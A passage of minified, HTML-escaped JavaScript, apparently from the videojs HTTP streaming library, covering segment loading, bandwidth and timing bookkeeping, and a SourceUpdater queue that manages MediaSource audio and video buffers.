initSegment=this.getInitSegmentAndUpdateState_({type:type,initSegment:result.initSegment,playlist:segmentInfo.playlist,map:segmentInfo.isFmp4?segmentInfo.segment.map:null});this.appendToSourceBuffer_({segmentInfo:segmentInfo,type:type,initSegment:initSegment,data:data})}},_proto.loadSegment_=function(segmentInfo){var _this4=this;this.state=&quot;WAITING&quot;,this.pendingSegment_=segmentInfo,this.trimBackBuffer_(segmentInfo),&quot;number&quot;==typeof segmentInfo.timestampOffset&amp;&amp;this.transmuxer_&amp;&amp;this.transmuxer_.postMessage({action:&quot;clearAllMp4Captions&quot;}),this.hasEnoughInfoToLoad_()?this.updateTransmuxerAndRequestSegment_(segmentInfo):this.loadQueue_.push((function(){var options=_extends_1({},segmentInfo,{forceTimestampOffset:!0});_extends_1(segmentInfo,_this4.generateSegmentInfo_(options)),_this4.isPendingTimestampOffset_=!1,_this4.updateTransmuxerAndRequestSegment_(segmentInfo)}))},_proto.updateTransmuxerAndRequestSegment_=function(segmentInfo){var _this5=this;this.shouldUpdateTransmuxerTimestampOffset_(segmentInfo.timestampOffset)&amp;&amp;(this.gopBuffer_.length=0,segmentInfo.gopsToAlignWith=[],this.timeMapping_=0,this.transmuxer_.postMessage({action:&quot;reset&quot;}),this.transmuxer_.postMessage({action:&quot;setTimestampOffset&quot;,timestampOffset:segmentInfo.timestampOffset}));var simpleSegment=this.createSimplifiedSegmentObj_(segmentInfo),isEndOfStream=this.isEndOfStream_(segmentInfo.mediaIndex,segmentInfo.playlist,segmentInfo.partIndex),isWalkingForward=null!==this.mediaIndex,isDiscontinuity=segmentInfo.timeline!==this.currentTimeline_&amp;&amp;segmentInfo.timeline&gt;0,isEndOfTimeline=isEndOfStream||isWalkingForward&amp;&amp;isDiscontinuity;this.logger_(&quot;Requesting &quot;+segmentInfoString(segmentInfo)),simpleSegment.map&amp;&amp;!simpleSegment.map.bytes&amp;&amp;(this.logger_(&quot;going to request init segment.&quot;),this.appendInitSegment_={video:!0,audio:!0}),segmentInfo.abortRequests=mediaSegmentRequest({xhr:this.vhs_.xhr,xhrOptions:this.xhrOptions_,decryptionWorker:this.decrypter_,segment:simpleSegment,abortFn:this.handleAbort_.bind(this,segmentInfo),progressFn:this.handleProgress_.bind(this),trackInfoFn:this.handleTrackInfo_.bind(this),timingInfoFn:this.handleTimingInfo_.bind(this),videoSegmentTimingInfoFn:this.handleSegmentTimingInfo_.bind(this,&quot;video&quot;,segmentInfo.requestId),audioSegmentTimingInfoFn:this.handleSegmentTimingInfo_.bind(this,&quot;audio&quot;,segmentInfo.requestId),captionsFn:this.handleCaptions_.bind(this),isEndOfTimeline:isEndOfTimeline,endedTimelineFn:function(){_this5.logger_(&quot;received endedtimeline callback&quot;)},id3Fn:this.handleId3_.bind(this),dataFn:this.handleData_.bind(this),doneFn:this.segmentRequestFinished_.bind(this),onTransmuxerLog:function(_ref8){var message=_ref8.message,level=_ref8.level,stream=_ref8.stream;_this5.logger_(segmentInfoString(segmentInfo)+&quot; logged from transmuxer stream &quot;+stream+&quot; as a &quot;+level+&quot;: &quot;+message)}})},_proto.trimBackBuffer_=function(segmentInfo){var removeToTime=function(seekable,currentTime,targetDuration){var trimTime=currentTime-Config.BACK_BUFFER_LENGTH;seekable.length&amp;&amp;(trimTime=Math.max(trimTime,seekable.start(0)));var maxTrimTime=currentTime-targetDuration;return Math.min(maxTrimTime,trimTime)}(this.seekable_(),this.currentTime_(),this.playlist_.targetDuration||10);removeToTime&gt;0&amp;&amp;this.remove(0,removeToTime)},_proto.createSimplifiedSegmentObj_=function(segmentInfo){var segment=segmentInfo.segment,part=segmentInfo.part,simpleSegment={resolvedUri:part?part.resolvedUri:segment.resolvedUri,byterange:part?part.byterange:segment.byterange,requestId:segmentInfo.requestId,transmuxer:segmentInfo.transmuxer,audioAppendStart:segmentInfo.audioAppendStart,gopsToAlignWith:segmentInfo.gopsToAlignWith,part:segmentInfo.part},previousSegment=segmentInfo.playlist.segments[segmentInfo.mediaIndex-1];if(previousSegment&amp;&amp;previousSegment.timeline===segment.timeline&amp;&amp;(previousSegment.videoTimingInfo?simpleSegment.baseStartTime=previousSegment.videoTimingInfo.transmuxedDecodeEnd:previousSegment.audioTimingInfo&amp;&amp;(simpleSegment.baseStartTime=previousSegment.audioTimingInfo.transmuxedDecodeEnd)),segment.key){var iv=segment.key.iv||new Uint32Array([0,0,0,segmentInfo.mediaIndex+segmentInfo.playlist.mediaSequence]);simpleSegment.key=this.segmentKey(segment.key),simpleSegment.key.iv=iv}return segment.map&amp;&amp;(simpleSegment.map=this.initSegmentForMap(segment.map)),simpleSegment},_proto.saveTransferStats_=function(stats){this.mediaRequests+=1,stats&amp;&amp;(this.mediaBytesTransferred+=stats.bytesReceived,this.mediaTransferDuration+=stats.roundTripTime)},_proto.saveBandwidthRelatedStats_=function(duration,stats){this.pendingSegment_.byteLength=stats.bytesReceived,duration&lt;.016666666666666666?this.logger_(&quot;Ignoring segment&#039;s bandwidth because its duration of &quot;+duration+&quot; is less than the min to record 0.016666666666666666&quot;):(this.bandwidth=stats.bandwidth,this.roundTrip=stats.roundTripTime)},_proto.handleTimeout_=function(){this.mediaRequestsTimedout+=1,this.bandwidth=1,this.roundTrip=NaN,this.trigger(&quot;bandwidthupdate&quot;)},_proto.segmentRequestFinished_=function(error,simpleSegment,result){if(this.callQueue_.length)this.callQueue_.push(this.segmentRequestFinished_.bind(this,error,simpleSegment,result));else if(this.saveTransferStats_(simpleSegment.stats),this.pendingSegment_&amp;&amp;simpleSegment.requestId===this.pendingSegment_.requestId){if(error){if(this.pendingSegment_=null,this.state=&quot;READY&quot;,error.code===REQUEST_ERRORS_ABORTED)return;return this.pause(),error.code===REQUEST_ERRORS_TIMEOUT?void this.handleTimeout_():(this.mediaRequestsErrored+=1,this.error(error),void this.trigger(&quot;error&quot;))}var segmentInfo=this.pendingSegment_;this.saveBandwidthRelatedStats_(segmentInfo.duration,simpleSegment.stats),segmentInfo.endOfAllRequests=simpleSegment.endOfAllRequests,result.gopInfo&amp;&amp;(this.gopBuffer_=function(buffer,gops,replace){if(!gops.length)return buffer;if(replace)return gops.slice();for(var start=gops[0].pts,i=0;i&lt;buffer.length&amp;&amp;!(buffer[i].pts&gt;=start);i++);return buffer.slice(0,i).concat(gops)}(this.gopBuffer_,result.gopInfo,this.safeAppend_)),this.state=&quot;APPENDING&quot;,this.trigger(&quot;appending&quot;),this.waitForAppendsToComplete_(segmentInfo)}},_proto.setTimeMapping_=function(timeline){var timelineMapping=this.syncController_.mappingForTimeline(timeline);null!==timelineMapping&amp;&amp;(this.timeMapping_=timelineMapping)},_proto.updateMediaSecondsLoaded_=function(segment){&quot;number&quot;==typeof segment.start&amp;&amp;&quot;number&quot;==typeof segment.end?this.mediaSecondsLoaded+=segment.end-segment.start:this.mediaSecondsLoaded+=segment.duration},_proto.shouldUpdateTransmuxerTimestampOffset_=function(timestampOffset){return null!==timestampOffset&amp;&amp;(&quot;main&quot;===this.loaderType_&amp;&amp;timestampOffset!==this.sourceUpdater_.videoTimestampOffset()||!this.audioDisabled_&amp;&amp;timestampOffset!==this.sourceUpdater_.audioTimestampOffset())},_proto.trueSegmentStart_=function(_ref9){var currentStart=_ref9.currentStart,playlist=_ref9.playlist,mediaIndex=_ref9.mediaIndex,firstVideoFrameTimeForData=_ref9.firstVideoFrameTimeForData,currentVideoTimestampOffset=_ref9.currentVideoTimestampOffset,useVideoTimingInfo=_ref9.useVideoTimingInfo,videoTimingInfo=_ref9.videoTimingInfo,audioTimingInfo=_ref9.audioTimingInfo;if(void 0!==currentStart)return currentStart;if(!useVideoTimingInfo)return audioTimingInfo.start;var previousSegment=playlist.segments[mediaIndex-1];return 0!==mediaIndex&amp;&amp;previousSegment&amp;&amp;void 0!==previousSegment.start&amp;&amp;previousSegment.end===firstVideoFrameTimeForData+currentVideoTimestampOffset?videoTimingInfo.start:firstVideoFrameTimeForData},_proto.waitForAppendsToComplete_=function(segmentInfo){var trackInfo=this.getCurrentMediaInfo_(segmentInfo);if(!trackInfo)return this.error({message:&quot;No starting media returned, likely due to an unsupported media format.&quot;,blacklistDuration:1/0}),void this.trigger(&quot;error&quot;);var hasAudio=trackInfo.hasAudio,hasVideo=trackInfo.hasVideo,isMuxed=trackInfo.isMuxed,waitForVideo=&quot;main&quot;===this.loaderType_&amp;&amp;hasVideo,waitForAudio=!this.audioDisabled_&amp;&amp;hasAudio&amp;&amp;!isMuxed;if(segmentInfo.waitingOnAppends=0,!segmentInfo.hasAppendedData_)return segmentInfo.timingInfo||&quot;number&quot;!=typeof segmentInfo.timestampOffset||(this.isPendingTimestampOffset_=!0),segmentInfo.timingInfo={start:0},segmentInfo.waitingOnAppends++,this.isPendingTimestampOffset_||(this.updateSourceBufferTimestampOffset_(segmentInfo),this.processMetadataQueue_()),void this.checkAppendsDone_(segmentInfo);waitForVideo&amp;&amp;segmentInfo.waitingOnAppends++,waitForAudio&amp;&amp;segmentInfo.waitingOnAppends++,waitForVideo&amp;&amp;this.sourceUpdater_.videoQueueCallback(this.checkAppendsDone_.bind(this,segmentInfo)),waitForAudio&amp;&amp;this.sourceUpdater_.audioQueueCallback(this.checkAppendsDone_.bind(this,segmentInfo))},_proto.checkAppendsDone_=function(segmentInfo){this.checkForAbort_(segmentInfo.requestId)||(segmentInfo.waitingOnAppends--,0===segmentInfo.waitingOnAppends&amp;&amp;this.handleAppendsDone_())},_proto.checkForIllegalMediaSwitch=function(trackInfo){var illegalMediaSwitchError=function(loaderType,startingMedia,trackInfo){return&quot;main&quot;===loaderType&amp;&amp;startingMedia&amp;&amp;trackInfo?trackInfo.hasAudio||trackInfo.hasVideo?startingMedia.hasVideo&amp;&amp;!trackInfo.hasVideo?&quot;Only audio found in segment when we expected video. We can&#039;t switch to audio only from a stream that had video. To get rid of this message, please add codec information to the manifest.&quot;:!startingMedia.hasVideo&amp;&amp;trackInfo.hasVideo?&quot;Video found in segment when we expected only audio. We can&#039;t switch to a stream with video from an audio only stream. To get rid of this message, please add codec information to the manifest.&quot;:null:&quot;Neither audio nor video found in segment.&quot;:null}(this.loaderType_,this.getCurrentMediaInfo_(),trackInfo);return!!illegalMediaSwitchError&amp;&amp;(this.error({message:illegalMediaSwitchError,blacklistDuration:1/0}),this.trigger(&quot;error&quot;),!0)},_proto.updateSourceBufferTimestampOffset_=function(segmentInfo){if(null!==segmentInfo.timestampOffset&amp;&amp;&quot;number&quot;==typeof segmentInfo.timingInfo.start&amp;&amp;!segmentInfo.changedTimestampOffset&amp;&amp;&quot;main&quot;===this.loaderType_){var didChange=!1;segmentInfo.timestampOffset-=segmentInfo.timingInfo.start,segmentInfo.changedTimestampOffset=!0,segmentInfo.timestampOffset!==this.sourceUpdater_.videoTimestampOffset()&amp;&amp;(this.sourceUpdater_.videoTimestampOffset(segmentInfo.timestampOffset),didChange=!0),segmentInfo.timestampOffset!==this.sourceUpdater_.audioTimestampOffset()&amp;&amp;(this.sourceUpdater_.audioTimestampOffset(segmentInfo.timestampOffset),didChange=!0),didChange&amp;&amp;this.trigger(&quot;timestampoffset&quot;)}},_proto.updateTimingInfoEnd_=function(segmentInfo){segmentInfo.timingInfo=segmentInfo.timingInfo||{};var trackInfo=this.getMediaInfo_(),prioritizedTimingInfo=&quot;main&quot;===this.loaderType_&amp;&amp;trackInfo&amp;&amp;trackInfo.hasVideo&amp;&amp;segmentInfo.videoTimingInfo?segmentInfo.videoTimingInfo:segmentInfo.audioTimingInfo;prioritizedTimingInfo&amp;&amp;(segmentInfo.timingInfo.end=&quot;number&quot;==typeof prioritizedTimingInfo.end?prioritizedTimingInfo.end:prioritizedTimingInfo.start+segmentInfo.duration)},_proto.handleAppendsDone_=function(){if(this.pendingSegment_&amp;&amp;this.trigger(&quot;appendsdone&quot;),!this.pendingSegment_)return this.state=&quot;READY&quot;,void(this.paused()||this.monitorBuffer_());var segmentInfo=this.pendingSegment_;this.updateTimingInfoEnd_(segmentInfo),this.shouldSaveSegmentTimingInfo_&amp;&amp;this.syncController_.saveSegmentTimingInfo({segmentInfo:segmentInfo,shouldSaveTimelineMapping:&quot;main&quot;===this.loaderType_});var segmentDurationMessage=getTroublesomeSegmentDurationMessage(segmentInfo,this.sourceType_);if(segmentDurationMessage&amp;&amp;(&quot;warn&quot;===segmentDurationMessage.severity?videojs.log.warn(segmentDurationMessage.message):this.logger_(segmentDurationMessage.message)),this.recordThroughput_(segmentInfo),this.pendingSegment_=null,this.state=&quot;READY&quot;,!segmentInfo.isSyncRequest||(this.trigger(&quot;syncinfoupdate&quot;),segmentInfo.hasAppendedData_)){this.logger_(&quot;Appended &quot;+segmentInfoString(segmentInfo)),this.addSegmentMetadataCue_(segmentInfo),this.fetchAtBuffer_=!0,this.currentTimeline_!==segmentInfo.timeline&amp;&amp;(this.timelineChangeController_.lastTimelineChange({type:this.loaderType_,from:this.currentTimeline_,to:segmentInfo.timeline}),&quot;main&quot;!==this.loaderType_||this.audioDisabled_||this.timelineChangeController_.lastTimelineChange({type:&quot;audio&quot;,from:this.currentTimeline_,to:segmentInfo.timeline})),this.currentTimeline_=segmentInfo.timeline,this.trigger(&quot;syncinfoupdate&quot;);var segment=segmentInfo.segment,part=segmentInfo.part,badSegmentGuess=segment.end&amp;&amp;this.currentTime_()-segment.end&gt;3*segmentInfo.playlist.targetDuration,badPartGuess=part&amp;&amp;part.end&amp;&amp;this.currentTime_()-part.end&gt;3*segmentInfo.playlist.partTargetDuration;if(badSegmentGuess||badPartGuess)return this.logger_(&quot;bad &quot;+(badSegmentGuess?&quot;segment&quot;:&quot;part&quot;)+&quot; &quot;+segmentInfoString(segmentInfo)),void this.resetEverything();null!==this.mediaIndex&amp;&amp;this.trigger(&quot;bandwidthupdate&quot;),this.trigger(&quot;progress&quot;),this.mediaIndex=segmentInfo.mediaIndex,this.partIndex=segmentInfo.partIndex,this.isEndOfStream_(segmentInfo.mediaIndex,segmentInfo.playlist,segmentInfo.partIndex)&amp;&amp;this.endOfStream(),this.trigger(&quot;appended&quot;),segmentInfo.hasAppendedData_&amp;&amp;this.mediaAppends++,this.paused()||this.monitorBuffer_()}else this.logger_(&quot;Throwing away un-appended sync request &quot;+segmentInfoString(segmentInfo))},_proto.recordThroughput_=function(segmentInfo){if(segmentInfo.duration&lt;.016666666666666666)this.logger_(&quot;Ignoring segment&#039;s throughput because its duration of &quot;+segmentInfo.duration+&quot; is less than the min to record 0.016666666666666666&quot;);else{var rate=this.throughput.rate,segmentProcessingTime=Date.now()-segmentInfo.endOfAllRequests+1,segmentProcessingThroughput=Math.floor(segmentInfo.byteLength/segmentProcessingTime*8*1e3);this.throughput.rate+=(segmentProcessingThroughput-rate)/++this.throughput.count}},_proto.addSegmentMetadataCue_=function(segmentInfo){if(this.segmentMetadataTrack_){var segment=segmentInfo.segment,start=segment.start,end=segment.end;if(finite(start)&amp;&amp;finite(end)){removeCuesFromTrack(start,end,this.segmentMetadataTrack_);var Cue=window.WebKitDataCue||window.VTTCue,value={custom:segment.custom,dateTimeObject:segment.dateTimeObject,dateTimeString:segment.dateTimeString,bandwidth:segmentInfo.playlist.attributes.BANDWIDTH,resolution:segmentInfo.playlist.attributes.RESOLUTION,codecs:segmentInfo.playlist.attributes.CODECS,byteLength:segmentInfo.byteLength,uri:segmentInfo.uri,timeline:segmentInfo.timeline,playlist:segmentInfo.playlist.id,start:start,end:end},cue=new Cue(start,end,JSON.stringify(value));cue.value=value,this.segmentMetadataTrack_.addCue(cue)}}},SegmentLoader}(videojs.EventTarget);function noop(){}var Vhs$1,toTitleCase=function(string){return&quot;string&quot;!=typeof string?string:string.replace(/./,(function(w){return w.toUpperCase()}))},bufferTypes=[&quot;video&quot;,&quot;audio&quot;],_updating=function(type,sourceUpdater){var sourceBuffer=sourceUpdater[type+&quot;Buffer&quot;];return sourceBuffer&amp;&amp;sourceBuffer.updating||sourceUpdater.queuePending[type]},shiftQueue=function shiftQueue(type,sourceUpdater){if(0!==sourceUpdater.queue.length){var queueIndex=0,queueEntry=sourceUpdater.queue[queueIndex];if(&quot;mediaSource&quot;!==queueEntry.type){if(&quot;mediaSource&quot;!==type&amp;&amp;sourceUpdater.ready()&amp;&amp;&quot;closed&quot;!==sourceUpdater.mediaSource.readyState&amp;&amp;!_updating(type,sourceUpdater)){if(queueEntry.type!==type){if(queueIndex=function(type,queue){for(var i=0;i&lt;queue.length;i++){var queueEntry=queue[i];if(&quot;mediaSource&quot;===queueEntry.type)return null;if(queueEntry.type===type)return i}return null}(type,sourceUpdater.queue),null===queueIndex)return;queueEntry=sourceUpdater.queue[queueIndex]}return sourceUpdater.queue.splice(queueIndex,1),sourceUpdater.queuePending[type]=queueEntry,queueEntry.action(type,sourceUpdater),queueEntry.doneFn?void 0:(sourceUpdater.queuePending[type]=null,void shiftQueue(type,sourceUpdater))}}else sourceUpdater.updating()||&quot;closed&quot;===sourceUpdater.mediaSource.readyState||(sourceUpdater.queue.shift(),queueEntry.action(sourceUpdater),queueEntry.doneFn&amp;&amp;queueEntry.doneFn(),shiftQueue(&quot;audio&quot;,sourceUpdater),shiftQueue(&quot;video&quot;,sourceUpdater))}},cleanupBuffer=function(type,sourceUpdater){var buffer=sourceUpdater[type+&quot;Buffer&quot;],titleType=toTitleCase(type);buffer&amp;&amp;(buffer.removeEventListener(&quot;updateend&quot;,sourceUpdater[&quot;on&quot;+titleType+&quot;UpdateEnd_&quot;]),buffer.removeEventListener(&quot;error&quot;,sourceUpdater[&quot;on&quot;+titleType+&quot;Error_&quot;]),sourceUpdater.codecs[type]=null,sourceUpdater[type+&quot;Buffer&quot;]=null)},inSourceBuffers=function(mediaSource,sourceBuffer){return mediaSource&amp;&amp;sourceBuffer&amp;&amp;-1!==Array.prototype.indexOf.call(mediaSource.sourceBuffers,sourceBuffer)},actions_appendBuffer=function(bytes,segmentInfo,onError){return function(type,sourceUpdater){var sourceBuffer=sourceUpdater[type+&quot;Buffer&quot;];if(inSourceBuffers(sourceUpdater.mediaSource,sourceBuffer)){sourceUpdater.logger_(&quot;Appending segment &quot;+segmentInfo.mediaIndex+&quot;&#039;s &quot;+bytes.length+&quot; bytes to &quot;+type+&quot;Buffer&quot;);try{sourceBuffer.appendBuffer(bytes)}catch(e){sourceUpdater.logger_(&quot;Error with code &quot;+e.code+&quot; &quot;+(22===e.code?&quot;(QUOTA_EXCEEDED_ERR) &quot;:&quot;&quot;)+&quot;when appending segment &quot;+segmentInfo.mediaIndex+&quot; to &quot;+type+&quot;Buffer&quot;),sourceUpdater.queuePending[type]=null,onError(e)}}}},actions_remove=function(start,end){return function(type,sourceUpdater){var sourceBuffer=sourceUpdater[type+&quot;Buffer&quot;];if(inSourceBuffers(sourceUpdater.mediaSource,sourceBuffer)){sourceUpdater.logger_(&quot;Removing &quot;+start+&quot; to &quot;+end+&quot; from &quot;+type+&quot;Buffer&quot;);try{sourceBuffer.remove(start,end)}catch(e){sourceUpdater.logger_(&quot;Remove &quot;+start+&quot; to &quot;+end+&quot; from &quot;+type+&quot;Buffer failed&quot;)}}}},actions_timestampOffset=function(offset){return function(type,sourceUpdater){var sourceBuffer=sourceUpdater[type+&quot;Buffer&quot;];inSourceBuffers(sourceUpdater.mediaSource,sourceBuffer)&amp;&amp;(sourceUpdater.logger_(&quot;Setting &quot;+type+&quot;timestampOffset to &quot;+offset),sourceBuffer.timestampOffset=offset)}},actions_callback=function(_callback){return function(type,sourceUpdater){_callback()}},actions_endOfStream=function(error){return function(sourceUpdater){if(&quot;open&quot;===sourceUpdater.mediaSource.readyState){sourceUpdater.logger_(&quot;Calling mediaSource endOfStream(&quot;+(error||&quot;&quot;)+&quot;)&quot;);try{sourceUpdater.mediaSource.endOfStream(error)}catch(e){videojs.log.warn(&quot;Failed to call media source endOfStream&quot;,e)}}}},actions_duration=function(_duration){return function(sourceUpdater){sourceUpdater.logger_(&quot;Setting mediaSource duration to &quot;+_duration);try{sourceUpdater.mediaSource.duration=_duration}catch(e){videojs.log.warn(&quot;Failed to set media source duration&quot;,e)}}},actions_abort=function(){return function(type,sourceUpdater){if(&quot;open&quot;===sourceUpdater.mediaSource.readyState){var sourceBuffer=sourceUpdater[type+&quot;Buffer&quot;];if(inSourceBuffers(sourceUpdater.mediaSource,sourceBuffer)){sourceUpdater.logger_(&quot;calling abort on &quot;+type+&quot;Buffer&quot;);try{sourceBuffer.abort()}catch(e){videojs.log.warn(&quot;Failed to abort on &quot;+type+&quot;Buffer&quot;,e)}}}}},actions_addSourceBuffer=function(type,codec){return function(sourceUpdater){var titleType=toTitleCase(type),mime=getMimeForCodec(codec);sourceUpdater.logger_(&quot;Adding &quot;+type+&quot;Buffer with codec &quot;+codec+&quot; to mediaSource&quot;);var sourceBuffer=sourceUpdater.mediaSource.addSourceBuffer(mime);sourceBuffer.addEventListener(&quot;updateend&quot;,sourceUpdater[&quot;on&quot;+titleType+&quot;UpdateEnd_&quot;]),sourceBuffer.addEventListener(&quot;error&quot;,sourceUpdater[&quot;on&quot;+titleType+&quot;Error_&quot;]),sourceUpdater.codecs[type]=codec,sourceUpdater[type+&quot;Buffer&quot;]=sourceBuffer}},actions_removeSourceBuffer=function(type){return function(sourceUpdater){var sourceBuffer=sourceUpdater[type+&quot;Buffer&quot;];if(cleanupBuffer(type,sourceUpdater),inSourceBuffers(sourceUpdater.mediaSource,sourceBuffer)){sourceUpdater.logger_(&quot;Removing &quot;+type+&quot;Buffer with codec &quot;+sourceUpdater.codecs[type]+&quot; from mediaSource&quot;);try{sourceUpdater.mediaSource.removeSourceBuffer(sourceBuffer)}catch(e){videojs.log.warn(&quot;Failed to removeSourceBuffer &quot;+type+&quot;Buffer&quot;,e)}}}},actions_changeType=function(codec){return function(type,sourceUpdater){var sourceBuffer=sourceUpdater[type+&quot;Buffer&quot;],mime=getMimeForCodec(codec);inSourceBuffers(sourceUpdater.mediaSource,sourceBuffer)&amp;&amp;sourceUpdater.codecs[type]!==codec&amp;&amp;(sourceUpdater.logger_(&quot;changing &quot;+type+&quot;Buffer codec from &quot;+sourceUpdater.codecs[type]+&quot; to &quot;+codec),sourceBuffer.changeType(mime),sourceUpdater.codecs[type]=codec)}},pushQueue=function(_ref){var type=_ref.type,sourceUpdater=_ref.sourceUpdater,action=_ref.action,doneFn=_ref.doneFn,name=_ref.name;sourceUpdater.queue.push({type:type,action:action,doneFn:doneFn,name:name}),shiftQueue(type,sourceUpdater)},onUpdateend=function(type,sourceUpdater){return function(e){if(sourceUpdater.queuePending[type]){var doneFn=sourceUpdater.queuePending[type].doneFn;sourceUpdater.queuePending[type]=null,doneFn&amp;&amp;doneFn(sourceUpdater[type+&quot;Error_&quot;])}shiftQueue(type,sourceUpdater)}},SourceUpdater=function(_videojs$EventTarget){function SourceUpdater(mediaSource){var _this;return(_this=_videojs$EventTarget.call(this)||this).mediaSource=mediaSource,_this.sourceopenListener_=function(){return shiftQueue(&quot;mediaSource&quot;,assertThisInitialized(_this))},_this.mediaSource.addEventListener(&quot;sourceopen&quot;,_this.sourceopenListener_),_this.logger_=logger(&quot;SourceUpdater&quot;),_this.audioTimestampOffset_=0,_this.videoTimestampOffset_=0,_this.queue=[],_this.queuePending={audio:null,video:null},_this.delayedAudioAppendQueue_=[],_this.videoAppendQueued_=!1,_this.codecs={},_this.onVideoUpdateEnd_=onUpdateend(&quot;video&quot;,assertThisInitialized(_this)),_this.onAudioUpdateEnd_=onUpdateend(&quot;audio&quot;,assertThisInitialized(_this)),_this.onVideoError_=function(e){_this.videoError_=e},_this.onAudioError_=function(e){_this.audioError_=e},_this.createdSourceBuffers_=!1,_this.initializedEme_=!1,_this.triggeredReady_=!1,_this}inheritsLoose(SourceUpdater,_videojs$EventTarget);var _proto=SourceUpdater.prototype;return _proto.initializedEme=function(){this.initializedEme_=!0,this.triggerReady()},_proto.hasCreatedSourceBuffers=function(){return this.createdSourceBuffers_},_proto.hasInitializedAnyEme=function(){return this.initializedEme_},_proto.ready=function(){return this.hasCreatedSourceBuffers()&amp;&amp;this.hasInitializedAnyEme()},_proto.createSourceBuffers=function(codecs){this.hasCreatedSourceBuffers()||(this.addOrChangeSourceBuffers(codecs),this.createdSourceBuffers_=!0,this.trigger(&quot;createdsourcebuffers&quot;),this.triggerReady())},_proto.triggerReady=function(){this.ready()&amp;&amp;!this.triggeredReady_&amp;&amp;(this.triggeredReady_=!0,this.trigger(&quot;ready&quot;))},_proto.addSourceBuffer=function(type,codec){pushQueue({type:&quot;mediaSource&quot;,sourceUpdater:this,action:actions_addSourceBuffer(type,codec),name:&quot;addSourceBuffer&quot;})},_proto.abort=function(type){pushQueue({type:type,sourceUpdater:this,action:actions_abort(type),name:&quot;abort&quot;})},_proto.removeSourceBuffer=function(type){this.canRemoveSourceBuffer()?pushQueue({type:&quot;mediaSource&quot;,sourceUpdater:this,action:actions_removeSourceBuffer(type),name:&quot;removeSourceBuffer&quot;}):videojs.log.error(&quot;removeSourceBuffer is not supported!&quot;)},_proto.canRemoveSourceBuffer=function(){return!videojs.browser.IE_VERSION&amp;&amp;!videojs.browser.IS_FIREFOX&amp;&amp;window.MediaSource&amp;&amp;window.MediaSource.prototype&amp;&amp;&quot;function&quot;==typeof window.MediaSource.prototype.removeSourceBuffer},SourceUpdater.canChangeType=function(){return window.SourceBuffer&amp;&amp;window.SourceBuffer.prototype&amp;&amp;&quot;function&quot;==typeof window.SourceBuffer.prototype.changeType},_proto.canChangeType=function(){return this.constructor.canChangeType()},_proto.changeType=function(type,codec){this.canChangeType()?pushQueue({type:type,sourceUpdater:this,action:actions_changeType(codec),name:&quot;changeType&quot;}):videojs.log.error(&quot;changeType is not supported!&quot;)},_proto.addOrChangeSourceBuffers=function(codecs){var _this2=this;if(!codecs||&quot;object&quot;!=typeof codecs||0===Object.keys(codecs).length)throw new Error(&quot;Cannot addOrChangeSourceBuffers to undefined codecs&quot;);Object.keys(codecs).forEach((function(type){var codec=codecs[type];if(!_this2.hasCreatedSourceBuffers())return _this2.addSourceBuffer(type,codec);_this2.canChangeType()&amp;&amp;_this2.changeType(type,codec)}))},_proto.appendBuffer=function(options,doneFn){var _this3=this,segmentInfo=options.segmentInfo,type=options.type,bytes=options.bytes;if(this.processedAppend_=!0,&quot;audio&quot;===type&amp;&amp;this.videoBuffer&amp;&amp;!this.videoAppendQueued_)return this.delayedAudioAppendQueue_.push([options,doneFn]),void this.logger_(&quot;delayed audio append of &quot;+bytes.length+&quot; until video append&quot;);if(pushQueue({type:type,sourceUpdater:this,action:actions_appendBuffer(bytes,segmentInfo||{mediaIndex:-1},doneFn),doneFn:doneFn,name:&quot;appendBuffer&quot;}),&quot;video&quot;===type){if(this.videoAppendQueued_=!0,!this.delayedAudioAppendQueue_.length)return;var queue=this.delayedAudioAppendQueue_.slice();this.logger_(&quot;queuing delayed audio &quot;+queue.length+&quot; appendBuffers&quot;),this.delayedAudioAppendQueue_.length=0,queue.forEach((function(que){_this3.appendBuffer.apply(_this3,que)}))}},_proto.audioBuffered=function(){return inSourceBuffers(this.mediaSource,this.audioBuffer)&amp;&amp;this.audioBuffer.buffered?this.audioBuffer.buffered:videojs.createTimeRange()},_proto.videoBuffered=function(){return inSourceBuffers(this.mediaSource,this.videoBuffer)&amp;&amp;this.videoBuffer.buffered?this.videoBuffer.buffered:videojs.createTimeRange()},_proto.buffered=function(){var video=inSourceBuffers(this.mediaSource,this.videoBuffer)?this.videoBuffer:null,audio=inSourceBuffers(this.mediaSource,this.audioBuffer)?this.audioBuffer:null;return audio&amp;&amp;!video?this.audioBuffered():video&amp;&amp;!audio?this.videoBuffered():function(bufferA,bufferB){var start=null,end=null,arity=0,extents=[],ranges=[];if(!(bufferA&amp;&amp;bufferA.length&amp;&amp;bufferB&amp;&amp;bufferB.length))return videojs.createTimeRange();for(var count=bufferA.length;count--;)extents.push({time:bufferA.start(count),type:&quot;start&quot;}),extents.push({time:bufferA.end(count),type:&quot;end&quot;});for(count=bufferB.length;count--;)extents.push({time:bufferB.start(count),type:&quot;start&quot;}),extents.push({time:bufferB.end(count),type:&quot;end&quot;});for(extents.sort((function(a,b){return a.time-b.time})),count=0;count&lt;extents.length;count++)&quot;start&quot;===extents[count].type?2==++arity&amp;&amp;(start=extents[count].time):&quot;end&quot;===extents[count].type&amp;&amp;1==--arity&amp;&amp;(end=extents[count].time),null!==start&amp;&amp;null!==end&amp;&amp;(ranges.push([start,end]),start=null,end=null);return videojs.createTimeRanges(ranges)}(this.audioBuffered(),this.videoBuffered())},_proto.setDuration=function(duration,doneFn){void 0===doneFn&amp;&amp;(doneFn=noop),pushQueue({type:&quot;mediaSource&quot;,sourceUpdater:this,action:actions_duration(duration),name:&quot;duration&quot;,doneFn:doneFn})},_proto.endOfStream=function(error,doneFn){void 0===error&amp;&amp;(error=null),void 0===doneFn&amp;&amp;(doneFn=noop),&quot;string&quot;!=typeof error&amp;&amp;(error=void 0),pushQueue({type:&quot;mediaSource&quot;,sourceUpdater:this,action:actions_endOfStream(error),name:&quot;endOfStream&quot;,doneFn:doneFn})},_proto.removeAudio=function(start,end,done){void 0===done&amp;&amp;(done=noop),this.audioBuffered().length&amp;&amp;0!==this.audioBuffered().end(0)?pushQueue({type:&quot;audio&quot;,sourceUpdater:this,action:actions_remove(start,end),doneFn:done,name:&quot;remove&quot;}):done()},_proto.removeVideo=function(start,end,done){void 0===done&amp;&amp;(done=noop),this.videoBuffered().length&amp;&amp;0!==this.videoBuffered().end(0)?pushQueue({type:&quot;video&quot;,sourceUpdater:this,action:actions_remove(start,end),doneFn:done,name:&quot;remove&quot;}):done()},_proto.updating=function(){return!(!_updating(&quot;audio&quot;,this)&amp;&amp;!_updating(&quot;video&quot;,this))},_proto.audioTimestampOffset=function(offset){return void 